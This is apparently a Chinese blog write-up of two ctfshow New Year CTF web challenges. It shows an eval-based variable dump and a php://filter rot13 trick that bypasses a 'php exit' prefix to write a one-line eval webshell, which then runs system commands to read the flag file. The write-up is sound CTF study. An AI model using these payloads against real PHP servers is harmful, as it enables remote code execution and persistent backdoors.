0
点赞
收藏
分享

微信扫一扫

ctfshow 新春迎新赛

Xin_So 2022-02-07 阅读 92
phpweb

一不小心在ctfshow上看了新春迎新赛,也就尝试做了一下,也算是检验自己这段时间以来的成果吧!

热身

看到代码本能感觉挺简单的,就一个eval函数,于是我便直接传入了system(‘ls’);

没发现flag,于是又查看。

想着用通配符

发现没用,又用了?也没用。

所以想到了另一种无参rce。

首先查看了当前页面的变量,直接发现了flag,也算是误打误撞。

Payload:?f= print_r(get_defined_vars());

web1

刚开始看到这个的时候觉得很熟悉,好像之前写过有关绕过file_put_contents函数的题,找到后发现不一样,所以我直接在网上搜索了file_put_contents($content,'<?php exit();'.$content);

看了许多文章后理解了一点,遇到这类题,需要利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;

利用rot13编码来写入一句话木马

Payload:

php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php

两个竖线中间的内容即是用rot13编码后的木马

两竖线中间便是我们要插入的关键内容,将一句话木马写入一个文件中并利用木马来得到flag。

首先先运行一下

然后传入system('ls /');

看到了flag.txt,直接system('cat /flag.txt');

得到flag。

举报

相关推荐

0 条评论